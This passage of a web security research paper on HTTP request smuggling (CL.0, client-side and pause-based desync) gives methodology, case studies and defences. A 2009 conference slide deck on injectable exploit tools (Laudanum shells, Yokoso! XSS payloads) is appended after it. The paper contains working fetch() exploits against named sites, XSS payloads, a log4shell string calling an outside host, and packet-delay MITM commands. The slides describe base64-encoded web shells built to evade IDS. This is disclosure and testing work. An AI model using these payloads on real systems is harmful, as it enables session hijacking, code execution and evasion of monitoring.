Transfer-Encoding header was actually completely ignored by both front-end and back-end. This meant that I could strip it entirely, leaving a confusingly simple attack: POST / HTTP/1.1 Host: redacted Content-Length: 3 xyzGET / HTTP/1.1 Host: redacted HTTP/1.1 200 OK Location: /en HTTP/1.1 405 Method Not Allowed The front-end was using the Content-Length, but the back-end was evidently ignoring it entirely. As a result, the back- end treated the body as the start of the second request's method. Ignoring the CL is equivalent to treating it as having a value of 0, so this is a CL.0 desync - a known12 but lesser-explored attack class. TE.CL and CL.TE // classic request smuggling H2.CL and H2.TE // HTTP/2 downgrade smuggling CL.0 // this H2.0 // implied by CL.0 0.CL and 0.TE // unexploitable without pipelining The second and even more important thing to note about this vulnerability is that it was being triggered by a completely valid, specification-compliant HTTP request. This meant the front-end has zero chance of protecting against it, and it could even be triggered by a browser. The attack was possible because the back-end server simply wasn't expecting a POST request. It left me wondering, given that I'd discovered it by accident, how many sites would turn up if I went deliberately looking? H2.0 on amazon.com Implementing a crude scan check for CL.0/H2.0 desync vulnerabilities revealed that they affect numerous sites including amazon.com, which ignored the CL on requests sent to /b/: POST /b/ HTTP/2 Host: www.amazon.com Content-Length: 23 GET /404 HTTP/1.1 X: XGET / HTTP/1.1 Host: www.amazon.com HTTP/2 200 OK Content-Type: text/html HTTP/2 200 OK Content-Type: image/x-icon I confirmed this vulnerability by creating a simple proof of concept (PoC) that stored13 random live users' complete requests, including authentication tokens, in my shopping list: After I reported this to Amazon, I realised that I'd made a terrible mistake and missed out on a much cooler potential exploit. The attack request was so vanilla that I could have made anyone's web browser issue it using fetch(). By using the HEAD technique on Amazon to create an XSS gadget and execute JavaScript in victim's browsers, I could have made each infected victim re-launch the attack themselves, spreading it to numerous others. This would have released a desync worm - a self-replicating attack which exploits victims to infect others with no user-interaction, rapidly exploiting every active user on Amazon. I wouldn't advise attempting this on a production system, but it could be fun to try on a staging environment. Ultimately this browser-powered desync was a cool finding, a missed opportunity, and also a hint at a new attack class. Client-side desync Traditional desync attacks poison the connection between a front-end and back-end server, and are therefore impossible on websites that don't use a front-end/back-end architecture. I'll refer to this as a server-side desync from now on. Most server-side desyncs can only be triggered by a custom HTTP client issuing a malformed request, but, as we just saw on amazon.com, it is sometimes possible to create a browser-powered server-side desync. The ability for a browser to cause a desync enables a whole new class of threat I'll call client-side desync (CSD), where the desync occurs between the browser and the front-end server. This enables exploitation of single-server websites, which is valuable because they're often spectacularly poor at HTTP parsing. A CSD attack starts with the victim visiting the attacker's website, which then makes their browser send two cross- domain requests to the vulnerable website. The first request is crafted to desync the browser's connection and make the second request trigger a harmful response, typically giving the attacker control of the victim's account: Methodology When trying to detect and exploit client-side desync vulnerabilities you can reuse many concepts from server-side desync attacks. The primary difference is that the entire exploit sequence occurs in your victim's web browser, an environment significantly more complex and uncontrolled than a dedicated hacking tool. This creates some new challenges, which caused me quite a lot of pain while researching this technique. To spare you, I've taken the lessons learned and developed the following methodology. At a high level, it may look familiar: Detect The first step is to identify your CSD vector. This basic primitive is the core of the vulnerability, and the platform on which the exploit will be built. We have implemented automated detection of these in both HTTP Request Smuggler and Burp Scanner, but an understanding of how to do it manually is still valuable. A CSD vector is a HTTP request with two key properties. First, the server must ignore the request's Content-Length (CL). This typically happens because the request either triggered a server error, or the server simply wasn't expecting a POST request to the chosen endpoint. Try targeting static files and server-level redirects, and triggering errors via overlong-URLs, and semi-malformed ones like /%2e%2e. Secondly, the request must be triggerable in a web-browser cross-domain. Browsers severely restrict control over cross- domain requests, so you have limited control over headers, and if your request has a body you'll need to use the HTTP POST method. Ultimately you only control the URL, plus a few odds and ends like the Referer header, the body, and latter part of the Content-Type: POST /favicon.ico HTTP/1.1 Host: example.com Referer: https://attacker.net/?%00 Content-Type: text/plain; charset=null, boundary=x Now we've composed our attack request, we need to check whether the server ignores the CL. As a simple first step, issue the request with an over-long CL and see if the server still replies: POST /favicon.ico Host: example.com Content-Length: 5 X HTTP/1.1 200 OK This is promising, but unfortunately some secure servers respond without waiting for the body so you'll encounter some false positives. Other servers don't handle the CL correctly, but close every connection immediately after responding, making them unexploitable. To filter these out, send two requests down the same connection and look for the body of the first affecting the response to the second: POST /favicon.ico Host: example.com Content-Length: 23 GET /404 HTTP/1.1 X: YGET / HTTP/1.1 Host: example.com HTTP/1.1 200 OK HTTP/1.1 404 Not Found To test this in Burp Suite, place the two requests into a tab group in Repeater, then use Send Sequence over Single Connection. You can also achieve this in Turbo Intruder by disabling pipelining and setting concurrentConnections and requestsPerConnection to 1 and 100 respectively. If this works, try altering the body and confirming the second response changes as expected. This simple step is designed to confirm that your mental model of what's happening matches reality. I personally wasted a lot of time on a system running Citrix Web VPN, only to realise it simply issued two HTTP responses for each request sent to a certain endpoint. Finally, it's important to note whether the target website supports HTTP/2. CSD attacks typically exploit HTTP/1.1 connection reuse and web browsers prefer to use HTTP/2 whenever possible, so if the target website supports HTTP/2 your attacks are unlikely to work. There's one exception; some forward proxies don't support HTTP/2 so you can exploit anyone using them. This includes corporate proxies, certain intrusive VPNs and even some security tools. Confirm Now we've found our CSD vector, we need to rule out any potential errors by replicating the behaviour inside a real browser. I recommend using Chrome as it has the best developer tools for crafting CSD exploits. First, select a site to launch the attack from. This site must be accessed over HTTPS and located on a different domain than the target. Next, ensure that you don't have a proxy configured, then browse to your attack site. Open the developer tools and switch to the Network tab. To help with debugging potential issues later, I recommend making the following adjustments: Select the "Preserve log" checkbox. Right-click on the column headers and enable the "Connection ID" column. Switch to the developer console and execute JavaScript to replicate your attack sequence using fetch(). This may look something like: fetch('https://example.com/', { method: 'POST', body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix mode: 'no-cors', // ensure connection ID is visible credentials: 'include' // poison 'with-cookies' pool }).then(() => { location = 'https://example.com/' // use the poisoned connection }) I've set the fetch mode 'no-cors' to ensure Chrome displays the connection ID in the Network tab. I've also set credentials: 'include' as Chrome has two separate connection pools14 - one for requests with cookies and one for requests without. You'll usually want to exploit navigations, and those use the 'with-cookies' pool, so it's worth getting into the habit of always poisoning that pool. When you execute this, you should see two requests in the Network tab with the same connection ID, and the second one should trigger a 404: If this works as expected, congratulations - you've found yourself a client-side desync! Explore Now we've got a confirmed client-side desync, the next step is to find a gadget that we can use to exploit it. Triggering an unexpected 404 in the Network tab might impress some, but it's unlikely to yield any user passwords or bounties. At this point we have established that we can poison the victim browser's connection pool and apply an arbitrary prefix to an HTTP request of our choice. This is a very powerful primitive which offers three broad avenues of attack. Store One option is to identify functionality on the target site that lets you store text data, and craft the prefix so that your victim's cookies, authentication headers, or password end up being stored somewhere you can retrieve them. This attack flow works almost identically to server-side request smuggling15, so I won't dwell on it. Chain&pivot The next option is all-new, courtesy of our new attack platform in the victim's browser. Under normal circumstances, many classes of server-side attack can only be launched by an attacker with direct access to the target website as they rely on HTTP requests that browsers refuse to send. This includes virtually all attacks that involve tampering with HTTP headers - web cache poisoning, most server-side request smuggling, host-header attacks, User-Agent based SQLi, and numerous others. For example, it's not possible to make someone else's browser issue the following request with a log4shell payload in the User-Agent header: GET / HTTP/1.1 Host: intranet.example.com User-Agent: ${jndi:ldap://x.oastify.com} CSD vulnerabilities open a gateway for these attacks on websites that are otherwise protected due to being located on trusted intranets or hidden behind IP-based restrictions. For example, if intranet.example.com is vulnerable to CSD, you might achieve the same effect with the following request, which can be triggered in a browser with fetch(): POST /robots.txt HTTP/1.1 Host: intranet.example.com User-Agent: Mozilla/5.0 etc Content-Length: 85 GET / HTTP/1.1 Host: intranet.example.com User-Agent: ${jndi:ldap://x.oastify.com} It's a good job Chrome is working on mitigations against attacks on intranet websites, as I dread to think how many IoT devices are vulnerable to CSD attacks. You can also take advantage of ambient authority like session cookies, hitting post-authentication attack surface in a CSRF-style attack that's usually impossible due to unforgeable headers, such as a JSON Content-Type. Overall, CSD vulnerabilities are exceptionally well suited to chaining with both client-side and server-side flaws, and may enable multi-step pivots in the right circumstances. Attack The final option is using the malicious prefix to elicit a harmful response from the server, typically with the goal of getting arbitrary JavaScript execution on the vulnerable website, and hijacking the user's session or password. I found that the simplest path to a successful attack came from two key techniques usually used for server-side desync attacks: JavaScript resource poisoning via Host-header redirects16, and using the HEAD method17 to splice together a response with harmful HTML. Both techniques needed to be adapted to overcome some novel challenges associated with operating in the victim's browser. In the next section, I'll use some case studies to explore these obstacles and show how to handle them. Case studies By automating detection of CSD vulnerabilities then scanning my bug bounty pipeline, I identified a range of real vulnerable websites. In this section, I'll take a look at four of the more interesting ones, and see how the methodology plays out. Akamai - stacked HEAD For our first case study, we'll exploit a straightforward vulnerability affecting many websites built on Akamai. As an example target, I'll use www.capitalone.ca. When Akamai issues a redirect, it ignores the request's Content-Length header and leaves any message body on the TCP/TLS socket. Capitalone.ca uses Akamai to redirect requests for /assets to /assets/, so we can trigger a CSD by issuing a POST request to that endpoint: fetch('https://www.capitalone.ca/assets', {method: 'POST', body: "GET /robots.txt HTTP/1.1\r\nX: Y", mode: 'no-cors', credentials: 'include'} ) POST /assets HTTP/1.1 Host: www.capitalone.ca Content-Length: 30 GET /robots.txt HTTP/1.1 X: YGET /assets/ HTTP/1.1 Host: www.capitalone.ca HTTP/1.1 301 Moved Permanently Location: /assets/ HTTP/1.1 200 OK Allow: / To build an exploit, we'll use the HEAD method to combine a set of HTTP headers with a Content-Type of text/html and a 'body' made of headers that reflect the query string in the Location header: POST /assets HTTP/1.1 Host: www.capitalone.ca Content-Length: 67 HEAD /404/?cb=123 HTTP/1.1 GET /x?<script>evil() HTTP/1.1 X: YGET / HTTP/1.1 Host: www.capitalone.ca HTTP/1.1 301 Moved Permanently Location: /assets/ HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 432837 HTTP/1.1 301 Moved Permanently Location: /x/?<script>evil() If this was a server-side desync attack, we could stop here. However, there are two complications we'll need to resolve for a successful client-side desync. The first problem is the initial redirect response. To make the injected JavaScript execute, we need the victim's browser to render the response as HTML, but the 301 redirect will be automatically followed by the browser, breaking the attack. A simple solution is to specify mode: 'cors', which intentionally triggers a CORS error. This prevents the browser from following the redirect and enables us to resume the attack sequence simply by invoking catch() instead of then(). Inside the catch block, we'll then trigger a browser navigation using location = 'https://www.capitalone.ca/'. It might be tempting to use an iframe for this navigation instead, but this would expose us to cross-site attack mitigations like same-site cookies. The second complication is something called the 'stacked-response problem'. Browsers have a mechanism where if they receive more response data than expected, they discard the connection. This drastically affects the reliability of techniques where you queue up multiple responses, such as the HEAD approach that we're using here. To solve this, we need to delay the 404 response to the HEAD request. Fortunately, on this target we can easily achieve that by adding a parameter with a random value to act as a cache-buster, triggering a cache miss and incurring a ~500ms delay. Here's the final exploit: fetch('https://www.capitalone.ca/assets', { method: 'POST', // use a cache-buster to delay the response body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`, credentials: 'include', mode: 'cors' // throw an error instead of following redirect }).catch(() => { location = 'https://www.capitalone.ca/' }) I reported this to Akamai on 2021-11-03, and I'm not sure when it was fixed. Cisco Web VPN - client-side cache poisoning Our next target is Cisco ASA WebVPN which helpfully ignores the Content-Length on almost all endpoints, so we can trigger a desync simply by issuing a POST request to the homepage. To exploit it, we'll use a Host-header redirect gadget: GET /+webvpn+/ HTTP/1.1 Host: psres.net HTTP/1.1 301 Moved Permanently Location: https://psres.net/+webvpn+/index.html The simplest attack would be to poison a socket with this redirect, navigate the victim to /+CSCOE+/logon.html and hope that the browser tries to import /+CSCOE+/win.js using the poisoned socket, gets redirected, and ends up importing malicious JS from our site. Unfortunately this is extremely unreliable as the browser is likely to use the poisoned socket for the initial navigation instead. To avoid this problem, we'll perform a client-side cache poisoning attack. First, we poison the socket with our redirect, then navigate the browser directly to /+CSCOE+/win.js: fetch('https://redacted/', {method: 'POST', body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y", credentials: 'include'}).catch(() => { location='https://redacted/+CSCOE+/win.js' }) Note that this top-level navigation is essential for bypassing cache partitioning - attempting to use fetch() will poison the wrong cache. The browser will use the poisoned socket, receive the malicious redirect, and save it in its local cache for https:/redacted/+CSCOE+/win.js. Then, it'll follow the redirect and land back on our site at https://psres.net/+webvpn+/index.html. We'll redirect the browser onward to the login page at https://redacted/+CSCOE+/logon.html When the browser starts to render the login page it'll attempt to import /+CSCOE+/win.js and discover that it already has this saved in its cache. The resource load will follow the cached redirect and issue a second request to https://psres.net/+webvpn+/index.html. At this point our server can respond with some malicious JavaScript, which will be executed in the context of the target site. For this attack to work, the attacker's website needs to serve up both a redirect and malicious JS on the same endpoint. I took a lazy approach and solved this with a JS/HTML polyglot - Chrome doesn't seem to mind the incorrect Content- Type: HTTP/1.1 200 OK Content-Type: text/html alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/ I reported this to Cisco on 2011-11-10, and eventually on 2022-03-02 they declared that they wouldn't fix it due to the product being deprecated, but would still register CVE-2022-2071318 for it. Verisign - fragmented chunk When looking for desync vectors, sometimes it's good to go beyond probing valid endpoints, and instead give the server some encouragement to hit an unusual code path. While experimenting with semi-malformed URLs like /..%2f, I discovered that I could trigger a CSD on verisign.com simply by POSTing to /%2f. I initially attempted to use a HEAD-based approach, similar to the one used earlier on Akamai. Unfortunately, this approach relies on a Content-Length based response, and the server sent chunked responses to all requests that didn't have a body. Furthermore, it rejected HEAD requests containing a Content-Length. Eventually, after extensive testing, I discovered that the server would issue a CL-based response for HEAD requests provided they used Transfer-Encoding: chunked. This would be near useless in a server-side desync, but since the victim's browser is under my control I can accurately predict the size of the next request, and consume it in a single chunk: POST /%2f HTTP/1.1 Host: www.verisign.com Content-Length: 81 HEAD / HTTP/1.1 Connection: keep-alive Transfer-Encoding: chunked 34d POST / HTTP/1.1 Host: www.verisign.com Content-Length: 59 0 GET /<script>evil() HTTP/1.1 Host: www.verisign.com HTTP/1.1 200 OK HTTP/1.1 200 OK Content-Type: text/html Content-Length: 54873 HTTP/1.1 301 Moved Permanently Location: /en_US/? <script>evil()/index.xhtml This attack was triggered using the following JavaScript: fetch('https://www.verisign.com/%2f', { method: 'POST', body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`, credentials: 'include', headers: {'Content-Type': 'application/x-www-form-urlencoded' }}).catch(() => { let form = document.createElement('form') form.method = 'POST' form.action = 'https://www.verisign.com/robots.txt' form.enctype = 'text/plain' let input = document.createElement('input') input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n' input.value = '' form.appendChild(input) document.body.appendChild(form) form.submit() } This was reported on 2021-12-22 and, after a false-start, successfully patched on 2022-07-21. Pulse Secure VPN For our final study, we'll target Pulse Secure VPN which ignores the Content-Length on POST requests to static files like /robots.txt. Just like Cisco Web VPN, this target has a host-header redirect gadget which I'll use to hijack a JavaScript import. However, this time the redirect isn't cacheable, so client-side cache poisoning isn't an option. Since we're targeting a resource load and don't have the luxury of poisoning the client-side cache, the timing of our attack is crucial. We need the victim's browser to successfully load a page on the target site, but then use a poisoned connection to load a JavaScript subresource. The inherent race condition makes this attack unreliable, so it's doomed to fail if we only have a single attempt - we need to engineer an environment where we get multiple attempts. To achieve this, I'll create a separate window and keep a handle on it from the attacker page. On most target pages, a failed attempt to hijack a JS import will result in the browser caching the genuine JavaScript file, leaving that page immune to such attacks until the cached JS expires. I was able to avoid this problem by targeting /dana- na/meeting/meeting_testjs.cgi which loads JavaScript from /dana-na/meeting/url_meeting/appletRedirect.js - which doesn't actually exist, so it returns a 404 and doesn't get saved in the browser's cache. I also padded the injected request with a lengthy header to mitigate the stacked-response problem. This results in the following attack flow: 1. Open a new window. 2. Issue a harmless request to the target to establish a fresh connection, making timings more consistent. 3. Navigate the window to the target page at /meeting_testjs.cgi. 4. 120ms later, create three poisoned connections using the redirect gadget. 5. 5ms later, while rendering /meeting_testjs.cgi the victim will hopefully attempt to import /appletRedirect.js and get redirected to x.psres.net, which serves up malicious JS. 6. If not, retry the attack. Here's the final attack script: <script> function reset() { fetch('https://vpn.redacted/robots.txt', {mode: 'no-cors', credentials: 'include'}) .then(() => { x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi? cb="+Date.now() }) setTimeout(poison, 120) // worked on 140. went down to 110 } function poison(){ sendPoison() sendPoison() sendPoison() setTimeout(reset, 1000) } function sendPoison(){ fetch('https://vpn.redacted/dana- na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css', {method: 'POST', body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n", mode: 'no-cors', credentials: 'include'}) } </script> <a onclick="x = window.open('about:blank'); reset()">Start attack</a> This was reported on 2022-01-24 and hopefully patched by the time you're reading this. Pause-based desync We saw earlier that pausing in the middle of an HTTP request and observing the server's reaction can reveal useful information that can't be obtained by tampering with the actual content of a request. As it turns out, pausing can also create new desync vulnerabilities by triggering misguided request-timeout implementations. This vulnerability class is invisible unless your tool has a higher timeout than the target server. I was extremely lucky to discover it, as my tool was supposed to have a 2-second timeout but, due to a bug, it reverted to a 10-second timeout. My pipeline also happened to include a lone site that was running Varnish configured with a custom 5-second timeout. Varnish Varnish cache has a feature called synth(), which lets you issue a response without forwarding the request to the back- end. Here's an example rule being used to block access to a folder: if (req.url ~ "^/admin") { return (synth(403, "Forbidden")); } When processing a partial request that matches a synth rule, Varnish will time out if it receives no data for 15 seconds. When this happens, it leaves the connection open for reuse even though it has only read half the request off the socket. This means that if the client follows up with the second half of the HTTP request, it will be interpreted as a fresh request. To trigger a pause-based desync on a vulnerable front-end, start by sending your headers, promising a body, and then just wait. Eventually you'll receive a response and when you finally send send your request body, it'll be interpreted as a new request: Apache After this discovery, I bumped Turbo Intruder's request timeout and discovered that the same technique works on Apache. Just like Varnish, it's vulnerable on endpoints where the server generates the response itself rather than letting the application handle the request. One way this happens is with server-level redirects: Redirect 301 / /en If you spot a server that's vulnerable to a pause-based desync, you've got two options for exploitation depending on whether it's the front-end or back-end. Server-side If the vulnerable server is running on the back-end, you may be able to trigger a server-side desync. For this to work, you need a front-end that will stream requests to the back-end. In particular, it needs to forward along HTTP headers without buffering the entire request body. This is what the resulting exploit flow will look like: There's one small catch here. The front-end won't read in the timeout response and pass it along to us until it's seen us send a complete request. As a result, we need to send our headers, pause for a while then continue unprompted with the rest of the attack sequence. I'm not aware of any security testing tools that support partially delaying a request like this, so I've implemented support into Turbo Intruder. The queue interface now has three new arguments: pauseBefore specifies an offset at which Turbo should pause. pauseMarker is an alternative which takes a list of strings that Turbo should pause after issuing pauseTime specifies how long to pause for, in microseconds So, which front-ends actually have this request-streaming behaviour? One well-known front-end is Amazon's Application Load Balancer (ALB), but there's an extra snag. If ALB receives a response to a partial request, it will refuse to reuse the connection. Fortunately, there's an inherent race condition in this mechanism. You can exploit Varnish behind ALB by delaying the second half of the request just enough that it arrives on the front-end at the same moment the back-end times out. Matching timeouts There's an additional complication when it comes to exploiting Apache behind ALB - both servers have a default timeout of 60 seconds. This leaves an extremely small time-window to send the second part of the request. I attempted to solve this by sending some data that got normalised away by the front-end, in order to reset the timer on the front-end without affecting the back-end timer. Unfortunately, neither chunk size padding, chunk extensions, or TCP duplicate/out-of-order packets achieved this goal. In the end, to prove the concept, I banked on pure chance and launched a slow but sustained attack using Turbo Intruder. This was ultimately successful after 66 hours. MITM-powered As pause-based desync attacks use legitimate HTTP requests, it's natural to wonder whether they can be used to trigger a client-side desync. I explored options to make browsers pause halfway through issuing a request, but although Streaming Fetch19 sounded promising, it's not yet implemented and, ultimately, I wasn't successful. However, there's one approach that can definitely delay a browser request - an active MITM attack. TLS is designed to prevent data from being decrypted or modified in-flight, but it's bundled over TCP, and there's nothing to stop attackers delaying entire packets. This could be referred to as a blind MITM attack, as it doesn't rely on decrypting any traffic. The attack flow is very similar to a regular client-side desync attack. The user visits an attacker-controlled page, which issues a series of cross-domain requests to the target application. The first HTTP request is deliberately padded to be so large that the operating system splits it into multiple TCP packets, enabling an active MITM to delay the final packet, triggering a pause-based desync. Due to the padding, the attacker can identify which packet to pause simply based on the size. I was able to successfully perform this attack against a standalone Apache-based website with the default configuration and a single redirect rule: Redirect 301 /redirect /destination From the client-side it looks like a regular client-side desync using the HEAD gadget, aside from the request padding: let form = document.createElement('form') form.method = 'POST' form.enctype = 'text/plain' form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now() let input = document.createElement('input') input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect? <script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x" input.value = "x" form.append(input) document.body.appendChild(form) form.submit() On the attacker system performing the blind MITM, I implemented the delay using tc-NetEm: # Setup tc qdisc add dev eth0 root handle 1: prio priomap # Flag packets to 34.255.5.242 that are between 700 and 1300 bytes tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \ match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \ and 'cmp(u16 at 2 layer network gt 0x02bc)' \ and 'cmp(u16 at 2 layer network lt 0x0514)' \ flowid 1:3 # Delay flagged packets by 61 seconds tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s By massaging the request-padding and the packet-size filter, I achieved around 90% success rate on the target browser. I reported the Varnish vulnerability on the 17th December, and it was patched on the 25th January as CVE-2022-2395920. The Akamai vulnerability was reported on the same day, and patched on the 14th March as CVE-2022-2272021 Conclusion Further research The topics and techniques covered in this paper have significant potential for further research. A few nice-to-haves that stand out to me are: New ways of triggering a client-side desync with a browser-issuable request An efficient and reliable way of detecting pause-based server-side desync vulnerabilities More exploitation gadgets for client-side desync attacks Real world PoCs using CSD-chaining A way to delay a browser request with needing a MITM A way to force browsers to use HTTP/1 when HTPT/2 is available Exploration of equivalent attacks on HTTP/2+ It's likely that this list has some major omissions too. Defence You can mitigate most of the attacks described in this paper by using HTTP/2 end to end. Equivalent flaws in HTTP/2 are possible, but significantly less likely. I don't recommend having a front-end that supports HTTP/2 but then rewrites requests to HTTP/1.1 to talk to the back-end. This does mitigate client-side desync attacks, but it fails to mitigate server- side pause-based attacks and also introduces additional threats. If your company routes employee's traffic through a forward proxy, ensure upstream HTTP/2 is supported and enabled. Please note that the use of forward proxies also introduces a range of extra request-smuggling risks beyond the scope of this paper. The plaintext nature of HTTP/1.1 makes it look deceptively simple, and tempts developers into implementing their own server. Unfortunately, even a minimalistic implementation of HTTP/1.1 is prone to serious vulnerabilities, especially if it supports connection-reuse or gets deployed behind a separate front-end. I regard implementing your own HTTP server as equivalent to rolling your own crypto - usually a bad idea. Of course, some things are inevitable. If you find yourself implementing an HTTP server: Treat HTTP requests as individual entities - don't assume two requests sent down the same connection have anything in common. Either fully support chunked encoding, or reject it and reset the connection. Never assume a request won't have a body. Default to discarding the connection if you encounter any server-level exceptions while handling a request. Support HTTP/2. Summary I've introduced client-side desync and pause-based desync, and provided a toolkit, case-studies and methodology for understanding the threat they pose. This has demonstrated that desync attacks can't be completely avoided by blocking obfuscated or malformed requests, hiding on an internal network, or not having a front-end. We've also learned that early-reads are an invaluable tool for comprehending and exploiting black-box deployments. Finally, I've hopefully demonstrated that custom HTTP servers are something to be avoided. References 1. https://twitter.com/PortSwigger/status/1499776690746241030 2. https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn 3. https://portswigger.net/research/http2 4. https://portswigger.net/web-security/request-smuggling/browser 5. https://github.com/PortSwigger/http-request-smuggler 6. https://github.com/PortSwigger/turbo-intruder 7. https://portswigger.net/research/browser-powered-desync-attacks 8. https://portswigger.net/web-security/host-header 9. https://youtu.be/gAnDUoq1NzQ?t=1327 10. https://www.youtube.com/watch?t=249&v=vCpIAsxESFY 11. https://campus.barracuda.com/product/loadbalanceradc/doc/95257522/release-notes-version-6-5/ 12. https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants- New-Defenses-And-New-Challenges.pdf 13. https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests 14. https://www.chromium.org/developers/design-documents/network-stack/preconnect 15. https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests 16. https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn- an-on-site-redirect-into-an-open-redirect 17. https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request- tunnelling-using-head 18. https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-webvpn-LOeKsNmO 19. https://web.dev/fetch-upload-streaming/ 20. https://varnish-cache.org/security/VSV00008.html 21. https://httpd.apache.org/security/vulnerabilities_24.html#CVE-2022-22720
pdf
1 Injectable Exploits Kevin Johnson – [email protected] Justin Searle – [email protected] Frank DiMaggio – [email protected] Copyright 2009 InGuardians, Inc. 2 Copyright 2009 InGuardians, Inc. Who are we? •  Kevin Johnson –  BASE/SamuraiWTF/Laudanum/Yokoso! Project Lead –  Penetration Tester –  Author and instructor of SANS SEC542 •  Justin Searle –  SamuraiWTF/Yokoso!/Middler Project Lead –  Penetration Tester –  SmartGrid and Embedded Hardware Researcher •  Frank DiMaggio –  Web App Security Researcher –  Laudanum Project Lead 3 Copyright 2009 InGuardians, Inc. ' or 42=42 -- 4 Copyright 2009 InGuardians, Inc. It’s not the Answer ' or 42=42 -- It’s the question! 5 Copyright 2009 InGuardians, Inc. Injection Flaws •  Injection flaws == the attacker is able to inject content into the application •  We love applications that trust users •  Categories include –  SQL injection –  XSS –  CSRF –  Command Injection –  etc… 6 Copyright 2009 InGuardians, Inc. Injectable Exploits •  Injectable exploits == FUN! •  Many different things can happen •  SQL injection is one of the most popular •  Many different attacks – Retrieving records – Changing transaction – Execute Commands – Write files! 7 Laudanum http://laudanum.inguardians.com 8 Copyright 2009 InGuardians, Inc. Laudanum •  Laudanum: also known as opium tincture or tincture of opium, is an alcoholic herbal preparation of opium. It is made by combining ethanol with opium latex or powder. Laudanum contains almost all of the opium alkaloids, including morphine and codeine. A highly potent narcotic by virtue of its morphine content. –wikipedia •  An awesome open source project that makes exploitation easier. 9 Copyright 2009 InGuardians, Inc. Pieces of Laudanum •  Exploit scripts designed for injection •  Multiple functions – Written in popular web scripting languages – PHP, ASP, CFM, JSP 10 Copyright 2009 InGuardians, Inc. Examples of Included Functions – DNS Query – Active Directory Query – Nmap Scans – LDAP Retrieval – Shell (Yeah!) 11 Copyright 2009 InGuardians, Inc. SQL Injection to Write Files •  Use the INTO directive SELECT * FROM table INTO dumpfile '/ result'; •  Can write anywhere MySQL has permissions –  Got root? 12 Copyright 2009 InGuardians, Inc. Shells •  Shell access is a win! •  Scripts to provide shell access – Web based shell so no interactive commands •  Uses BASE64 encoding to bypass IDS and monitoring 13 Copyright 2009 InGuardians, Inc. Utilities •  Many scripts that are useful during pen-tests – DNS Retrieval – Active Directory Querying – Port Scanners – Vuln Scanners 14 Copyright 2009 InGuardians, Inc. Proxying •  Scripts to proxy web requests •  Allows us to browse the internal sites •  Potentially bypassing IP restrictions – Browse admin pages 15 Copyright 2009 InGuardians, Inc. Scope Limitations •  Features within the scripts •  Allows us to control who can access – IP restrictions – Authentication •  Limits who can be attacked by the features 16 Yokoso! http://yokoso.inguardians.com/ 17 Copyright 2009 InGuardians, Inc. Yokoso! •  All foreign nationals landing in Japan are required to submit to fingerprinting and having their picture taken since November 2007. 18 Copyright 2009 InGuardians, Inc. Yokoso! •  "So what can you do with XSS?" - we hope that Yokoso! answers that question. •  JavaScript and Flash objects that are able to be delivered via XSS attacks. •  Payloads will contain the fingerprinting information used to map out a network and the devices and software it contains. 19 Copyright 2009 InGuardians, Inc. Pieces of Yokoso! •  Yokoso! contains various pieces •  Main feature is the fingerprints – All of the other features use these •  Infrastructure discovery finds the hosts •  History browsing for users visiting the fingerprinted URLs •  Modules for popular Frameworks 20 Copyright 2009 InGuardians, Inc. Fingerprints Wanted! •  Yokoso! project is collecting fingerprints of devices and software •  Collect fingerprints using interception proxies like Burp or WebScarab •  Save those logs •  Remove all unrelated requests and responses •  PURGE private data from remaining data •  Send us the what’s left 21 Copyright 2009 InGuardians, Inc. Infrastructure Discovery •  JavaScript leverages the included fingerprints to look for “interesting” devices –  Server Remote Management •  HP ILO (Insight Lights Out) •  Dell RAC (Remote Access Card) –  IP-based KVMs (Avocent, HP, IBM, etc…) –  Web-based Admin Interfaces •  Network Devices (Routers, Switches, & Firewalls) •  Security Devices (IDS/IPS, AntiVirus, DLP, Proxies) •  Information Storehouses (Help Desk, SharePoint, Email) •  Virtualization Host Servers (VMware, Citrix) 22 Copyright 2009 InGuardians, Inc. History Browsing •  Allows us to determine if someone has been to the page – Identifies Administrators – Widens the attack surface – Give us more to do with XSS •  Further aids in determining the existing infrastructure 23 Copyright 2009 InGuardians, Inc. Framework Modules •  Yokoso! Includes modules to integrate into popular frameworks – BeEF – BrowserRider – Others… 24 Copyright 2009 InGuardians, Inc. Scope Limitations •  The project focus is on penetration testing •  Include various methods to limit attack scope •  Prevents us from accidently pwning out-of-scope parties! ;-) 25 SamuraiWTF (Web Testing Framework) http://samurai.inguardians.com/ 26 Copyright 2009 InGuardians, Inc. SamuraiWTF •  2 Versions: Live CD and VMware Image •  Based on the latest version of Ubuntu •  A few of the tools included: – w3af – BeEF – Burp Suite – Grendel-Scan – Dirbuster – Maltego CE – Nikto – WebScarab – Rat Proxy – 